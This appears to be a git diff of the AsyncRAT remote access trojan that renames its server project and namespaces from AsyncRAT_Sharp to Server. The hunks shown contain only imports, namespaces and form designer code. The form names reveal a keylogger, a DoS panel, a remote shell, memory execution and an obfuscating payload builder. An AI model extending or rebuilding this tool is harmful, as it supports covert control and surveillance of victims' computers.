@@ -615,13 +615,13 @@ namespace AsyncRAT_Sharp.Forms
//
// txtProduct
//
- this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::AsyncRAT_Sharp.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
+ this.txtProduct.DataBindings.Add(new System.Windows.Forms.Binding("Text", global::Server.Properties.Settings.Default, "ProductName", true, System.Windows.Forms.DataSourceUpdateMode.OnPropertyChanged));
this.txtProduct.Enabled = false;
this.txtProduct.Location = new System.Drawing.Point(159, 69);
this.txtProduct.Name = "txtProduct";
this.txtProduct.Size = new System.Drawing.Size(337, 26);
this.txtProduct.TabIndex = 5;
- this.txtProduct.Text = global::AsyncRAT_Sharp.Properties.Settings.Default.ProductName;
+ this.txtProduct.Text = global::Server.Properties.Settings.Default.ProductName;
//
// label8
//
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
rename to AsyncRAT-C#/Server/Forms/FormBuilder.cs
index 1f803d3..ba139e7 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs
+++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs
@@ -1,9 +1,9 @@
using System;
using System.Windows.Forms;
-using AsyncRAT_Sharp.Helper;
+using Server.Helper;
using System.Text;
using System.Security.Cryptography;
-using AsyncRAT_Sharp.Cryptography;
+using Server.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Collections.Generic;
using Vestris.ResourceLib;
@@ -11,9 +11,9 @@ using dnlib.DotNet;
using System.IO;
using System.Linq;
using dnlib.DotNet.Emit;
-using AsyncRAT_Sharp.RenamingObfuscation;
+using Server.RenamingObfuscation;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormBuilder : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx b/AsyncRAT-C#/Server/Forms/FormBuilder.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.resx
rename to AsyncRAT-C#/Server/Forms/FormBuilder.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs
index f73287c..351b20b 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormCertificate
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs
rename to AsyncRAT-C#/Server/Forms/FormCertificate.cs
index 6ca3a29..5944a34 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.cs
+++ b/AsyncRAT-C#/Server/Forms/FormCertificate.cs
@@ -5,7 +5,7 @@ using System.Security.Cryptography.X509Certificates;
using System.IO;
using System.IO.Compression;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormCertificate : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.resx b/AsyncRAT-C#/Server/Forms/FormCertificate.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormCertificate.resx
rename to AsyncRAT-C#/Server/Forms/FormCertificate.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
index b7d7962..47dfb20 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormChat.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormChat
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs
rename to AsyncRAT-C#/Server/Forms/FormChat.cs
index da49989..59c31d8 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.cs
+++ b/AsyncRAT-C#/Server/Forms/FormChat.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using Microsoft.VisualBasic;
using System;
using System.Collections.Generic;
@@ -12,7 +12,7 @@ using System.Threading.Tasks;
using System.Windows.Forms;
using System.Threading;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormChat : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.resx b/AsyncRAT-C#/Server/Forms/FormChat.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormChat.resx
rename to AsyncRAT-C#/Server/Forms/FormChat.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs
index dfd508f..a369eca 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDOS.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormDOS
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs b/AsyncRAT-C#/Server/Forms/FormDOS.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs
rename to AsyncRAT-C#/Server/Forms/FormDOS.cs
index 24ff0ee..618a7ea 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDOS.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
@@ -13,7 +13,7 @@ using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormDOS : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.resx b/AsyncRAT-C#/Server/Forms/FormDOS.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDOS.resx
rename to AsyncRAT-C#/Server/Forms/FormDOS.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs
index 98c8d37..7196c91 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormDotNetEditor
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs
rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs
index 7dba24f..968002c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs
@@ -10,13 +10,13 @@ using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using FastColoredTextBoxNS;
using Microsoft.CSharp;
using Microsoft.VisualBasic;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormDotNetEditor : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.resx b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDotNetEditor.resx
rename to AsyncRAT-C#/Server/Forms/FormDotNetEditor.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs
index 77838ec..114bfdf 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormDownloadFile
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
index 67ba54f..6732a84 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.cs
+++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs
@@ -1,4 +1,4 @@
-using AsyncRAT_Sharp.Sockets;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
@@ -12,9 +12,9 @@ using System.Threading;
using System.IO;
using System.Net.Sockets;
using Timer = System.Threading.Timer;
-using AsyncRAT_Sharp.Helper;
+using Server.Helper;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormDownloadFile : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx b/AsyncRAT-C#/Server/Forms/FormDownloadFile.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormDownloadFile.resx
rename to AsyncRAT-C#/Server/Forms/FormDownloadFile.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
index 8097e42..b4df092 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormFileManager
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs
similarity index 98%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs
rename to AsyncRAT-C#/Server/Forms/FormFileManager.cs
index 2377bc4..d4657f9 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.cs
+++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs
@@ -1,11 +1,11 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Windows.Forms;
using System.Threading;
using System.IO;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormFileManager : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx b/AsyncRAT-C#/Server/Forms/FormFileManager.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormFileManager.resx
rename to AsyncRAT-C#/Server/Forms/FormFileManager.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
index 91f19e0..51fe05c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormKeylogger
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs
similarity index 96%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs
rename to AsyncRAT-C#/Server/Forms/FormKeylogger.cs
index f21d49a..ec1b1b8 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.cs
+++ b/AsyncRAT-C#/Server/Forms/FormKeylogger.cs
@@ -1,5 +1,5 @@
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
@@ -12,7 +12,7 @@ using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormKeylogger : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx b/AsyncRAT-C#/Server/Forms/FormKeylogger.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormKeylogger.resx
rename to AsyncRAT-C#/Server/Forms/FormKeylogger.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs b/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs
index dbcd4da..9b4fb7c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormPassword.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormPassword
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs b/AsyncRAT-C#/Server/Forms/FormPassword.cs
similarity index 92%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs
rename to AsyncRAT-C#/Server/Forms/FormPassword.cs
index cc9a7b3..849b8c3 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.cs
+++ b/AsyncRAT-C#/Server/Forms/FormPassword.cs
@@ -8,7 +8,7 @@ using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormPassword : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.resx b/AsyncRAT-C#/Server/Forms/FormPassword.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPassword.resx
rename to AsyncRAT-C#/Server/Forms/FormPassword.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs
index 9555213..e8291d8 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormPorts.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormPorts
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs b/AsyncRAT-C#/Server/Forms/FormPorts.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs
rename to AsyncRAT-C#/Server/Forms/FormPorts.cs
index 097bbbf..2db67ab 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.cs
+++ b/AsyncRAT-C#/Server/Forms/FormPorts.cs
@@ -2,10 +2,10 @@
using System.Windows.Forms;
using System.IO;
using System.Diagnostics;
-using AsyncRAT_Sharp.Helper;
+using Server.Helper;
using System.Security.Cryptography.X509Certificates;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormPorts : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx b/AsyncRAT-C#/Server/Forms/FormPorts.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormPorts.resx
rename to AsyncRAT-C#/Server/Forms/FormPorts.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs
index bc2fdd2..815379e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormProcessManager
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs
similarity index 95%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs
rename to AsyncRAT-C#/Server/Forms/FormProcessManager.cs
index e8aeba7..765dde1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.cs
+++ b/AsyncRAT-C#/Server/Forms/FormProcessManager.cs
@@ -8,10 +8,10 @@ using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
-using AsyncRAT_Sharp.MessagePack;
-using AsyncRAT_Sharp.Sockets;
+using Server.MessagePack;
+using Server.Sockets;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormProcessManager : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx b/AsyncRAT-C#/Server/Forms/FormProcessManager.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormProcessManager.resx
rename to AsyncRAT-C#/Server/Forms/FormProcessManager.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
similarity index 96%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
index 18d3bbe..ad08eca 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
partial class FormRemoteDesktop
{
@@ -84,7 +84,7 @@
//
// btnMouse
//
- this.btnMouse.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.mouse;
+ this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnMouse.Location = new System.Drawing.Point(550, 3);
this.btnMouse.Name = "btnMouse";
@@ -95,7 +95,7 @@
//
// btnSave
//
- this.btnSave.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.save_image;
+ this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.btnSave.Location = new System.Drawing.Point(455, 3);
this.btnSave.Name = "btnSave";
@@ -171,7 +171,7 @@
//
// button1
//
- this.button1.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.stop__1_;
+ this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button1.Location = new System.Drawing.Point(12, 3);
this.button1.Name = "button1";
@@ -182,7 +182,7 @@
//
// button2
//
- this.button2.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.arrow_up;
+ this.button2.BackgroundImage = global::Server.Properties.Resources.arrow_up;
this.button2.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.button2.Location = new System.Drawing.Point(428, 44);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
index 9e63f8a..0dfb13d 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.cs
+++ b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.cs
@@ -10,14 +10,14 @@ using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
-using AsyncRAT_Sharp.Sockets;
-using AsyncRAT_Sharp.MessagePack;
+using Server.Sockets;
+using Server.MessagePack;
using System.Threading;
using System.Drawing.Imaging;
using System.IO;
using Encoder = System.Drawing.Imaging.Encoder;
-namespace AsyncRAT_Sharp.Forms
+namespace Server.Forms
{
public partial class FormRemoteDesktop : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx b/AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormRemoteDesktop.resx
rename to AsyncRAT-C#/Server/Forms/FormRemoteDesktop.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs
similarity index 99%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs
index a731cd4..6218e57 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.Designer.cs
@@ -1,4 +1,4 @@
-namespace AsyncRAT_Sharp
+namespace Server
{
partial class FormSendFileToMemory
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs
rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs
index df966da..59d3061 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs
+++ b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.cs
@@ -9,9 +9,9 @@ using System.Threading.Tasks;
using System.Windows.Forms;
using System.IO;
using System.Reflection;
-using AsyncRAT_Sharp.Helper;
+using Server.Helper;
-namespace AsyncRAT_Sharp
+namespace Server
{
public partial class FormSendFileToMemory : Form
{
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx b/AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx
similarity index 100%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.resx
rename to AsyncRAT-C#/Server/Forms/FormSendFileToMemory.resx
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs
similarity index 97%
rename from AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs
rename to AsyncRAT-C#/Server/Forms/FormShell.Designer.cs
index 44f1de9..dedcf8c 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs
+++ b/AsyncRAT-C#/Server/Forms/FormShell.Designer.cs
@@ -1,107 +1,107 @@
-namespace AsyncRAT_Sharp.Forms
-{
- partial class FormShell
- {
- ///
- /// Required designer variable.
- ///
- private System.ComponentModel.IContainer components = null;
-
- ///
- /// Clean up any resources being used.
- ///
- /// true if managed resources should be disposed; otherwise, false.
- protected override void Dispose(bool disposing)
- {
- if (disposing && (components != null))
- {
- components.Dispose();
- }
- base.Dispose(disposing);
- }
-
- #region Windows Form Designer generated code
-
- ///
- /// Required method for Designer support - do not modify
- /// the contents of this method with the code editor.
- ///
- private void InitializeComponent()
- {
- this.components = new System.ComponentModel.Container();
- System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormShell));
- this.richTextBox1 = new System.Windows.Forms.RichTextBox();
- this.textBox1 = new System.Windows.Forms.TextBox();
- this.timer1 = new System.Windows.Forms.Timer(this.components);
- this.panel1 = new System.Windows.Forms.Panel();
- this.SuspendLayout();
- //
- // richTextBox1
- //
- this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
- this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
- this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.richTextBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242)))));
- this.richTextBox1.Location = new System.Drawing.Point(0, 0);
- this.richTextBox1.Name = "richTextBox1";
- this.richTextBox1.ReadOnly = true;
- this.richTextBox1.Size = new System.Drawing.Size(800, 412);
- this.richTextBox1.TabIndex = 0;
- this.richTextBox1.Text = "";
- //
- // textBox1
- //
- this.textBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(248)))), ((int)(((byte)(248)))), ((int)(((byte)(242)))));
- this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
- this.textBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
- this.textBox1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
- this.textBox1.Location = new System.Drawing.Point(46, 423);
- this.textBox1.Name = "textBox1";
- this.textBox1.Size = new System.Drawing.Size(754, 26);
- this.textBox1.TabIndex = 1;
- this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
- //
- // timer1
- //
- this.timer1.Enabled = true;
- this.timer1.Interval = 1000;
- this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
- //
- // panel1
- //
- this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(40)))), ((int)(((byte)(42)))), ((int)(((byte)(54)))));
- this.panel1.Dock = System.Windows.Forms.DockStyle.Left;
- this.panel1.Location = new System.Drawing.Point(0, 0);
- this.panel1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5);
- this.panel1.Name = "panel1";
- this.panel1.Size = new System.Drawing.Size(46, 449);
- this.panel1.TabIndex = 2;
- //
- // FormShell
- //
- this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
